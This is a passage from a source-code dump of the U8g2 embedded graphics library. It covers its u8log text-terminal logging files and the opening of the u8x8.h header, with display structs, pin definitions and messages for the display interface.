/*============================================*/ /* setup for the null device */ /* setup for the null (empty) device */ void u8g2_Setup_null(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { static uint8_t buf[8]; u8g2_SetupDisplay(u8g2, u8x8_d_null_cb, u8x8_cad_empty, byte_cb, gpio_and_delay_cb); u8g2_SetupBuffer(u8g2, buf, 1, u8g2_ll_hvline_vertical_top_lsb, rotation); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8log.c ================================================ /* u8log.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include #include "u8x8.h" /* static uint8_t u8log_is_on_screen(u8log_t *u8log, uint8_t x, uint8_t y) { if ( x >= u8log->width ) return 0; if ( y >= u8log->height ) return 0; return 1; } */ static void u8log_clear_screen(u8log_t *u8log) { uint8_t *dest = u8log->screen_buffer; uint16_t cnt = u8log->height; cnt *= u8log->width; do { *dest++ = ' '; cnt--; } while( cnt > 0 ); } /* scroll the content of the complete buffer, set redraw_line to 255 */ static void u8log_scroll_up(u8log_t *u8log) { uint8_t *dest = u8log->screen_buffer; uint8_t *src = dest+u8log->width; uint16_t cnt = u8log->height; cnt--; cnt *= u8log->width; do { *dest++ = *src++; cnt--; } while( cnt > 0 ); cnt = u8log->width; do { *dest++ = ' '; cnt--; } while(cnt > 0); if ( u8log->is_redraw_line_for_each_char ) u8log->is_redraw_all = 1; else u8log->is_redraw_all_required_for_next_nl = 1; } /* Place the cursor on the screen. This will also scroll, if required */ static void u8log_cursor_on_screen(u8log_t *u8log) { //printf("u8log_cursor_on_screen, cursor_y=%d\n", u8log->cursor_y); if ( u8log->cursor_x >= u8log->width ) { u8log->cursor_x = 0; u8log->cursor_y++; } while ( u8log->cursor_y >= u8log->height ) { u8log_scroll_up(u8log); u8log->cursor_y--; } } /* Write a printable, single char on the screen, do any kind of scrolling */ static void u8log_write_to_screen(u8log_t *u8log, uint8_t c) { u8log_cursor_on_screen(u8log); u8log->screen_buffer[u8log->cursor_y * u8log->width + u8log->cursor_x] = c; u8log->cursor_x++; if ( u8log->is_redraw_line_for_each_char ) { u8log->is_redraw_line = 1; u8log->redraw_line = u8log->cursor_y; } } /* Handle control codes or write the char to the screen. Supported control codes are: \n 10 Goto first position of the next line. Line is marked for redraw. \r 13 Goto first position in the same line. Line is marked for redraw. \t 9 Jump to the next tab position \f 12 Clear the screen and mark redraw for whole screen any other char Write char to screen. Line redraw mark depends on is_redraw_line_for_each_char flag. */ void u8log_write_char(u8log_t *u8log, uint8_t c) { switch(c) { case '\n': // 10 u8log->is_redraw_line = 1; u8log->redraw_line = u8log->cursor_y; if ( u8log->is_redraw_all_required_for_next_nl ) u8log->is_redraw_all = 1; u8log->is_redraw_all_required_for_next_nl = 0; u8log->cursor_y++; u8log->cursor_x = 0; break; case '\r': // 13 u8log->is_redraw_line = 1; u8log->redraw_line = u8log->cursor_y; u8log->cursor_x = 0; break; case '\t': // 9 u8log->cursor_x = (u8log->cursor_x + 8) & 0xf8; break; case '\f': // 12 u8log_clear_screen(u8log); u8log->is_redraw_all = 1; u8log->cursor_x = 0; u8log->cursor_y = 0; break; default: u8log_write_to_screen(u8log, c); break; } } void u8log_Init(u8log_t *u8log, uint8_t width, uint8_t height, uint8_t *buf) { memset(u8log, 0, sizeof(u8log_t)); u8log->width = width; u8log->height = height; u8log->screen_buffer = buf; u8log_clear_screen(u8log); } void u8log_SetCallback(u8log_t *u8log, u8log_cb cb, void *aux_data) { u8log->cb = cb; u8log->aux_data = aux_data; } void u8log_SetRedrawMode(u8log_t *u8log, uint8_t is_redraw_line_for_each_char) { u8log->is_redraw_line_for_each_char = is_redraw_line_for_each_char; } /* offset can be negative or positive, it is 0 by default */ void u8log_SetLineHeightOffset(u8log_t *u8log, int8_t line_height_offset) { u8log->line_height_offset = line_height_offset; } void u8log_WriteChar(u8log_t *u8log, uint8_t c) { u8log_write_char(u8log, c); if ( u8log->is_redraw_line || u8log->is_redraw_all ) { if ( u8log->cb != 0 ) { u8log->cb(u8log); } u8log->is_redraw_line = 0; u8log->is_redraw_all = 0; } } void u8log_WriteString(u8log_t *u8log, const char *s) { while( *s != '\0' ) { u8log_WriteChar(u8log, *s); s++; } } static void u8log_WriteHexHalfByte(u8log_t *u8log, uint8_t b) U8X8_NOINLINE; static void u8log_WriteHexHalfByte(u8log_t *u8log, uint8_t b) { b &= 0x0f; if ( b < 10 ) u8log_WriteChar(u8log, b+'0'); else u8log_WriteChar(u8log, b+'a'-10); } void u8log_WriteHex8(u8log_t *u8log, uint8_t b) { u8log_WriteHexHalfByte(u8log, b >> 4); u8log_WriteHexHalfByte(u8log, b); } void u8log_WriteHex16(u8log_t *u8log, uint16_t v) { u8log_WriteHex8(u8log, v>>8); u8log_WriteHex8(u8log, v); } void u8log_WriteHex32(u8log_t *u8log, uint32_t v) { u8log_WriteHex16(u8log, v>>16); u8log_WriteHex16(u8log, v); } /* v = value, d = number of digits (1..3) */ void u8log_WriteDec8(u8log_t *u8log, uint8_t v, uint8_t d) { u8log_WriteString(u8log, u8x8_u8toa(v, d)); } /* v = value, d = number of digits (1..5) */ void u8log_WriteDec16(u8log_t *u8log, uint16_t v, uint8_t d) { u8log_WriteString(u8log, u8x8_u16toa(v, d)); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8log_u8g2.c ================================================ /* u8log_u8g2.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* Draw the u8log text at the specified x/y position. x/y position is the reference position of the first char of the first line. the line height is u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2) + line_height_offset; line_height_offset can be set with u8log_SetLineHeightOffset() Use u8g2_SetFontRefHeightText(u8g2_t *u8g2); u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2); u8g2_SetFontRefHeightAll(u8g2_t *u8g2); to change the return values for u8g2_GetAscent and u8g2_GetDescent */ void u8g2_DrawLog(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8log_t *u8log) { u8g2_uint_t disp_x, disp_y; uint8_t buf_x, buf_y; uint8_t c; disp_y = y; u8g2_SetFontDirection(u8g2, 0); for( buf_y = 0; buf_y < u8log->height; buf_y++ ) { disp_x = x; for( buf_x = 0; buf_x < u8log->width; buf_x++ ) { c = u8log->screen_buffer[buf_y * u8log->width + buf_x]; disp_x += u8g2_DrawGlyph(u8g2, disp_x, disp_y, c); } disp_y += u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2); disp_y += u8log->line_height_offset; } } /* u8lib callback for u8g2 Only font direction 0 is supported: u8g2_SetFontDirection(u8g2, 0) Use u8g2_SetFontRefHeightText(u8g2_t *u8g2); u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2); u8g2_SetFontRefHeightAll(u8g2_t *u8g2); to change the top offset and the line height and u8log_SetLineHeightOffset(u8log_t *u8log, int8_t line_height_offset) to change the line height. */ void u8log_u8g2_cb(u8log_t * u8log) { u8g2_t *u8g2 = (u8g2_t *)(u8log->aux_data); if ( u8log->is_redraw_line || u8log->is_redraw_all ) { u8g2_FirstPage(u8g2); do { u8g2_DrawLog( u8g2, 0, u8g2_GetAscent(u8g2), u8log); } while( u8g2_NextPage(u8g2) ); } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8log_u8x8.c ================================================ /* u8log_u8x8.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static void u8x8_DrawLogLine(u8x8_t *u8x8, uint8_t disp_x, uint8_t disp_y, uint8_t buf_y, u8log_t *u8log) U8X8_NOINLINE; static void u8x8_DrawLogLine(u8x8_t *u8x8, uint8_t disp_x, uint8_t disp_y, uint8_t buf_y, u8log_t *u8log) { uint8_t buf_x; uint8_t c; for( buf_x = 0; buf_x < u8log->width; buf_x++ ) { c = u8log->screen_buffer[buf_y * u8log->width + buf_x]; u8x8_DrawGlyph(u8x8, disp_x, disp_y, c); disp_x++; } } void u8x8_DrawLog(u8x8_t *u8x8, uint8_t x, uint8_t y, u8log_t *u8log) { uint8_t buf_y; for( buf_y = 0; buf_y < u8log->height; buf_y++ ) { u8x8_DrawLogLine(u8x8, x, y, buf_y, u8log); y++; } } void u8log_u8x8_cb(u8log_t * u8log) { u8x8_t *u8x8 = (u8x8_t *)(u8log->aux_data); if ( u8log->is_redraw_all ) { u8x8_DrawLog(u8x8, 0, 0, u8log); } else if ( u8log->is_redraw_line ) { u8x8_DrawLogLine(u8x8, 0, u8log->redraw_line, u8log->redraw_line, u8log); } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8.h ================================================ /* u8x8.h Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. U8glib has several layers. Each layer is implemented with a callback function. This callback function handles the messages for the layer. The topmost level is the display layer. It includes the following messages: U8X8_MSG_DISPLAY_SETUP_MEMORY no communication with the display, setup memory only U8X8_MSG_DISPLAY_INIT U8X8_MSG_DISPLAY_SET_FLIP_MODE U8X8_MSG_DISPLAY_SET_POWER_SAVE U8X8_MSG_DISPLAY_SET_CONTRAST U8X8_MSG_DISPLAY_DRAW_TILE A display driver may decided to breakdown these messages to a lower level interface or implement this functionality directly. One layer is the Command/Arg/Data interface. It can be used by the display layer to communicate with the display hardware. This layer only deals with data, commands and arguments. D/C line is unknown. U8X8_MSG_CAD_INIT U8X8_MSG_CAD_SET_I2C_ADR (obsolete) U8X8_MSG_CAD_SET_DEVICE (obsolete) U8X8_MSG_CAD_START_TRANSFER U8X8_MSG_CAD_SEND_CMD U8X8_MSG_CAD_SEND_ARG U8X8_MSG_CAD_SEND_DATA U8X8_MSG_CAD_END_TRANSFER The byte interface is there to send 1 byte (8 bits) to the display hardware. This layer depends on the hardware of a microcontroller, if a specific hardware should be used (I2C or SPI). If this interface is implemented via software, it may use the GPIO level for sending bytes. U8X8_MSG_BYTE_INIT U8X8_MSG_BYTE_SEND 30 U8X8_MSG_BYTE_SET_DC 31 U8X8_MSG_BYTE_START_TRANSFER U8X8_MSG_BYTE_END_TRANSFER U8X8_MSG_BYTE_SET_I2C_ADR (obsolete) U8X8_MSG_BYTE_SET_DEVICE (obsolete) GPIO and Delay U8X8_MSG_GPIO_INIT U8X8_MSG_DELAY_MILLI U8X8_MSG_DELAY_10MICRO U8X8_MSG_DELAY_100NANO U8X8_MSG_DELAY_NANO */ #ifndef U8X8_H #define U8X8_H /*==========================================*/ /* Global Defines */ /* Undefine this to remove u8x8_SetContrast function */ #ifndef U8X8_WITHOUT_SET_CONTRAST #define U8X8_WITH_SET_CONTRAST #endif /* Define this for an additional user pointer inside the u8x8 data struct */ //#define U8X8_WITH_USER_PTR /* Undefine this to remove u8x8_SetFlipMode function */ /* 26 May 2016: Obsolete */ //#define U8X8_WITH_SET_FLIP_MODE /* Select 0 or 1 for the default flip mode. This is not affected by U8X8_WITH_FLIP_MODE */ /* Note: Not all display types support a mirror function for the frame buffer */ /* 26 May 2016: Obsolete */ //#define U8X8_DEFAULT_FLIP_MODE 0 /*==========================================*/ /* Includes */ #include #include #include #include #if defined(__GNUC__) && defined(__AVR__) #include #endif /*==========================================*/ /* C++ compatible */ #ifdef __cplusplus extern "C" { #endif /*==========================================*/ /* U8G2 internal defines */ /* the following macro returns the first value for the normal mode */ /* or the second argument for the flip mode */ /* 26 May 2016: Obsolete #if U8X8_DEFAULT_FLIP_MODE == 0 #define U8X8_IF_DEFAULT_NORMAL_OR_FLIP(normal, flipmode) (normal) #else #define U8X8_IF_DEFAULT_NORMAL_OR_FLIP(normal, flipmode) (flipmode) #endif */ #ifdef __GNUC__ # define U8X8_NOINLINE __attribute__((noinline)) # define U8X8_SECTION(name) __attribute__ ((section (name))) # define U8X8_UNUSED __attribute__((unused)) #else # define U8X8_SECTION(name) # define U8X8_NOINLINE # define U8X8_UNUSED #endif #if defined(__GNUC__) && defined(__AVR__) # define U8X8_FONT_SECTION(name) U8X8_SECTION(".progmem." name) # define u8x8_pgm_read(adr) pgm_read_byte_near(adr) # define U8X8_PROGMEM PROGMEM #endif #if defined(ESP8266) uint8_t u8x8_pgm_read_esp(const uint8_t * addr); /* u8x8_8x8.c */ # define U8X8_FONT_SECTION(name) __attribute__((section(".text." name))) # define u8x8_pgm_read(adr) u8x8_pgm_read_esp(adr) # define U8X8_PROGMEM #endif #ifndef U8X8_FONT_SECTION # define U8X8_FONT_SECTION(name) #endif #ifndef u8x8_pgm_read # ifndef CHAR_BIT # define u8x8_pgm_read(adr) (*(const uint8_t *)(adr)) # else # if CHAR_BIT > 8 # define u8x8_pgm_read(adr) ((*(const uint8_t *)(adr)) & 0x0ff) # else # define u8x8_pgm_read(adr) (*(const uint8_t *)(adr)) # endif # endif #endif #ifndef U8X8_PROGMEM # define U8X8_PROGMEM #endif #ifdef ARDUINO #define U8X8_USE_PINS #endif #ifdef __RTTHREAD__ #define U8X8_USE_PINS #endif #ifdef __LUATOS__ #define U8X8_USE_PINS #endif #if defined(__ARM_LINUX__) || defined(unix) || defined(__unix__) || defined(__unix) /* https://github.com/olikraus/u8g2/pull/1666 */ #define U8X8_USE_PINS #define U8X8_WITH_USER_PTR #endif /*==========================================*/ /* U8X8 typedefs and data structures */ typedef struct u8x8_struct u8x8_t; typedef struct u8x8_display_info_struct u8x8_display_info_t; typedef struct u8x8_tile_struct u8x8_tile_t; typedef uint8_t (*u8x8_msg_cb)(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); typedef uint16_t (*u8x8_char_cb)(u8x8_t *u8x8, uint8_t b); //struct u8x8_mcd_struct //{ // u8x8_msg_cb cb; /* current callback function */ // u8x8_t *u8g2; /* pointer to the u8g2 parent to minimize the number of args */ // u8x8_mcd_t *next; //}; struct u8x8_tile_struct { uint8_t *tile_ptr; /* pointer to one or more tiles... should be "const" */ uint8_t cnt; /* number of tiles */ uint8_t x_pos; /* tile x position */ uint8_t y_pos; /* tile y position */ }; struct u8x8_display_info_struct { /* == general == */ uint8_t chip_enable_level; /* UC1601: 0 */ uint8_t chip_disable_level; /* opposite of chip_enable_level */ uint8_t post_chip_enable_wait_ns; /* UC1601: 5ns */ uint8_t pre_chip_disable_wait_ns; /* UC1601: 5ns */ uint8_t reset_pulse_width_ms; /* UC1601: 0.003ms --> 1ms */ uint8_t post_reset_wait_ms; /* UC1601: 6ms */ /* == SPI interface == */ /* after SDA has been applied, wait this much time for the SCK data takeover edge */ /* if this is smaller than sck_pulse_width_ns, then use the value from sck_pulse_width_ns */ uint8_t sda_setup_time_ns; /* UC1601: 12ns */ /* the pulse width of the the clock signal, cycle time is twice this value */ /* max freq is 1/(2*sck_pulse_width_ns) */ /* AVR: below 70: DIV2, 8 MHz, >= 70 --> 4MHz clock (DIV4) */ uint8_t sck_pulse_width_ns; /* UC1701: 50ns */ /* until here we have 8 bytes (uint8_t). Newly introduced for SPI.beginTransaction */ uint32_t sck_clock_hz; /* previous name "sck_takeover_edge" renamed to "spi_mode" */ /* bit 0 of spi_mode is equal to the value of the previous variable sck_takeover_edge, 20 Aug 16: This is wrong the bit is actually inverted */ /* SPI has four clock modes: */ /* 0: clock active high, data out on falling edge, clock default value is zero, takover on rising edge */ /* 1: clock active high, data out on rising edge, clock default value is zero, takover on falling edge */ /* 2: clock active low, data out on rising edge */ /* 3: clock active low, data out on falling edge */ /* most displays have clock mode 1 */ uint8_t spi_mode; /* == I2C == */ uint8_t i2c_bus_clock_100kHz; /* UC1601: 1000000000/275 = 37 *100k */ /* == 8 bit interface == */ /* how long to wait after all data line are set */ uint8_t data_setup_time_ns; /* UC1601: 30ns */ /* write enable pulse width */ uint8_t write_pulse_width_ns; /* UC1601: 40ns */ /* == layout == */ uint8_t tile_width; uint8_t tile_height; uint8_t default_x_offset; /* default x offset for the display */ uint8_t flipmode_x_offset; /* x offset, if flip mode is enabled */ /* pixel width is not used by the u8x8 procedures */ /* instead it will be used by the u8g2 procedures, because the pixel dimension can */ /* not always be calculated from the tile_width/_height */ /* the following conditions must be true: */ /* pixel_width <= tile_width*8 */ /* pixel_height <= tile_height*8 */ uint16_t pixel_width; uint16_t pixel_height; }; /* list of U8x8 pins */ #define U8X8_PIN_D0 0 #define U8X8_PIN_SPI_CLOCK 0 #define U8X8_PIN_D1 1 #define U8X8_PIN_SPI_DATA 1 #define U8X8_PIN_D2 2 #define U8X8_PIN_D3 3 #define U8X8_PIN_D4 4 #define U8X8_PIN_D5 5 #define U8X8_PIN_D6 6 #define U8X8_PIN_D7 7 #define U8X8_PIN_E 8 #define U8X8_PIN_CS 9 /* parallel, SPI */ #define U8X8_PIN_DC 10 /* parallel, SPI */ #define U8X8_PIN_RESET 11 /* parallel, SPI, I2C */ #define U8X8_PIN_I2C_CLOCK 12 /* 1 = Input/high impedance, 0 = drive low */ #define U8X8_PIN_I2C_DATA 13 /* 1 = Input/high impedance, 0 = drive low */ #define U8X8_PIN_CS1 14 /* KS0108 extra chip select */ #define U8X8_PIN_CS2 15 /* KS0108 extra chip select */ #define U8X8_PIN_OUTPUT_CNT 16 #define U8X8_PIN_MENU_SELECT 16 #define U8X8_PIN_MENU_NEXT 17 #define U8X8_PIN_MENU_PREV 18 #define U8X8_PIN_MENU_HOME 19 #define U8X8_PIN_MENU_UP 20 #define U8X8_PIN_MENU_DOWN 21 #define U8X8_PIN_INPUT_CNT 6 #ifdef U8X8_USE_PINS #define U8X8_PIN_CNT (U8X8_PIN_OUTPUT_CNT+U8X8_PIN_INPUT_CNT) #define U8X8_PIN_NONE 255 #endif struct u8x8_struct { const u8x8_display_info_t *display_info; u8x8_char_cb next_cb; /* procedure, which will be used to get the next char from the string */ u8x8_msg_cb display_cb; u8x8_msg_cb cad_cb; u8x8_msg_cb byte_cb; u8x8_msg_cb gpio_and_delay_cb; uint32_t bus_clock; /* can be used by the byte function to store the clock speed of the bus */ const uint8_t *font; uint16_t encoding; /* encoding result for utf8 decoder in next_cb */ uint8_t x_offset; /* copied from info struct, can be modified in flip mode */ uint8_t is_font_inverse_mode; /* 0: normal, 1: font glyphs are inverted */ uint8_t i2c_address; /* a valid i2c adr. Initially this is 255, but this is set to something useful during DISPLAY_INIT */ /* i2c_address is the address for writing data to the display */ /* usually, the lowest bit must be zero for a valid address */ uint8_t i2c_started; /* for i2c interface */ //uint8_t device_address; /* OBSOLETE???? - this is the device address, replacement for U8X8_MSG_CAD_SET_DEVICE */ uint8_t utf8_state; /* number of chars which are still to scan */ uint8_t gpio_result; /* return value from the gpio call (only for MENU keys at the moment) */ uint8_t debounce_default_pin_state; uint8_t debounce_last_pin_state; uint8_t debounce_state; uint8_t debounce_result_msg; /* result msg or event after debounce */ #ifdef U8X8_WITH_USER_PTR void *user_ptr; #endif #ifdef U8X8_USE_PINS uint8_t pins[U8X8_PIN_CNT]; /* defines a pinlist: Mainly a list of pins for the Arduino Environment, use U8X8_PIN_xxx to access */ #endif }; #ifdef U8X8_WITH_USER_PTR #define u8x8_GetUserPtr(u8x8) ((u8x8)->user_ptr) #define u8x8_SetUserPtr(u8x8, p) ((u8x8)->user_ptr = (p)) #endif #define u8x8_GetCols(u8x8) ((u8x8)->display_info->tile_width) #define u8x8_GetRows(u8x8) ((u8x8)->display_info->tile_height) #define u8x8_GetI2CAddress(u8x8) ((u8x8)->i2c_address) #define u8x8_SetI2CAddress(u8x8, address) ((u8x8)->i2c_address = (address)) #define u8x8_SetGPIOResult(u8x8, val) ((u8x8)->gpio_result = (val)) #define u8x8_GetSPIClockPhase(u8x8) ((u8x8)->display_info->spi_mode & 0x01) /* 0 means rising edge */ #define u8x8_GetSPIClockPolarity(u8x8) (((u8x8)->display_info->spi_mode & 0x02) >> 1) #define u8x8_GetSPIClockDefaultLevel(u8x8) (((u8x8)->display_info->spi_mode & 0x02) >> 1) #define u8x8_GetFontCharWidth(u8x8) u8x8_pgm_read( (u8x8)->font + 2 ) #define u8x8_GetFontCharHeight(u8x8) u8x8_pgm_read( (u8x8)->font + 3 ) #ifdef U8X8_USE_PINS #define u8x8_SetPin(u8x8,pin,val) (u8x8)->pins[pin] = (val) #define u8x8_SetMenuSelectPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_SELECT,(val)) #define u8x8_SetMenuNextPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_NEXT,(val)) #define u8x8_SetMenuPrevPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_PREV,(val)) #define u8x8_SetMenuHomePin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_HOME,(val)) #define u8x8_SetMenuUpPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_UP,(val)) #define u8x8_SetMenuDownPin(u8x8, val) u8x8_SetPin((u8x8),U8X8_PIN_MENU_DOWN,(val)) #endif /*==========================================*/ /* u8log extension for u8x8 and u8g2 */ typedef struct u8log_struct u8log_t; /* redraw the specified line. */ typedef void (*u8log_cb)(u8log_t * u8log); struct u8log_struct { /* configuration */ void *aux_data; /* pointer to u8x8 or u8g2 */ uint8_t width, height; /* size of the terminal */ u8log_cb cb; /* callback redraw function */ uint8_t *screen_buffer; /* size must be width*height bytes */ uint8_t is_redraw_line_for_each_char; int8_t line_height_offset; /* extra offset for the line height (u8g2 only) */ /* internal data */ //uint8_t last_x, last_y; /* position of the last printed char */ uint8_t cursor_x, cursor_y; /* position of the cursor, might be off screen */ uint8_t redraw_line; /* redraw specific line if is_redraw_line is not 0 */ uint8_t is_redraw_line; uint8_t is_redraw_all; uint8_t is_redraw_all_required_for_next_nl; /* in nl mode, redraw all instead of current line */ }; /*==========================================*/ /* helper functions */ void u8x8_d_helper_display_setup_memory(u8x8_t *u8x8, const u8x8_display_info_t *display_info); void u8x8_d_helper_display_init(u8x8_t *u8g2); /* Display Interface */ /* Name: U8X8_MSG_DISPLAY_SETUP_MEMORY Args: None Tasks: 1) setup u8g2->display_info copy u8g2->display_info->default_x_offset to u8g2->x_offset usually calls u8x8_d_helper_display_setup_memory() */ #define U8X8_MSG_DISPLAY_SETUP_MEMORY 9 /* Name: U8X8_MSG_DISPLAY_INIT Args: None Tasks: 2) put interface into default state: execute u8x8_gpio_Init for port directions execute u8x8_cad_Init for default port levels 3) set CS status (not clear, may be done in cad/byte interface 4) execute display reset (gpio interface) 5) send setup sequence to display, do not activate display, disable "power save" will follow */ #define U8X8_MSG_DISPLAY_INIT 10 /* Name: U8X8_MSG_DISPLAY_SET_POWER_SAVE Args: arg_int: 0: normal mode (RAM is visible on the display), 1: nothing is shown Tasks: Depending on arg_int, put the display into normal or power save mode. Send the corresponding sequence to the display. In power save mode, it must be possible to modify the RAM content. */ #define U8X8_MSG_DISPLAY_SET_POWER_SAVE 11 /* Name: U8X8_MSG_DISPLAY_SET_FLIP_MODE Args: arg_int: 0: normal mode, 1: flipped HW screen (180 degree) Tasks: Reprograms the display controller to rotate the display by 180 degree (arg_int = 1) or not (arg_int = 0) This may change u8g2->x_offset if the display is smaller than the controller ram This message should only be supported if U8X8_WITH_FLIP_MODE is defined. */ #define U8X8_MSG_DISPLAY_SET_FLIP_MODE 13 /* arg_int: 0..255 contrast value */ #define U8X8_MSG_DISPLAY_SET_CONTRAST 14 /* Name: U8X8_MSG_DISPLAY_DRAW_TILE Args: arg_int: How often to repeat this tile pattern arg_ptr: pointer to u8x8_tile_t uint8_t *tile_ptr; pointer to one or more tiles (number is "cnt") uint8_t cnt; number of tiles uint8_t x_pos; first tile x position uint8_t y_pos; first tile y position Tasks: One tile has exactly 8 bytes (8x8 pixel monochrome bitmap). The lowest bit of the first byte is the upper left corner The highest bit of the first byte is the lower left corner The lowest bit of the last byte is the upper right corner The highest bit of the last byte is the lower left corner "tile_ptr" is the address of a memory area, which contains one or more tiles. "cnt" will contain the exact number of tiles in the memory areay. The size of the memory area is 8*cnt; Multiple tiles in the memory area form a horizontal sequence, this means the first tile is drawn at x_pos/y_pos, the second tile is drawn at x_pos+1/y_pos, third at x_pos+2/y_pos. "arg_int" tells how often the tile sequence should be repeated: For example if "cnt" is two and tile_ptr points to tiles A and B, then for arg_int = 3, the following tile sequence will be drawn: ABABAB. Totally, cnt*arg_int tiles will be drawn. */ #define U8X8_MSG_DISPLAY_DRAW_TILE 15 /* Name: U8X8_MSG_DISPLAY_REFRESH Args: arg_int: - arg_ptr: - This was introduced for the SSD1606 eInk display. The problem is, that all 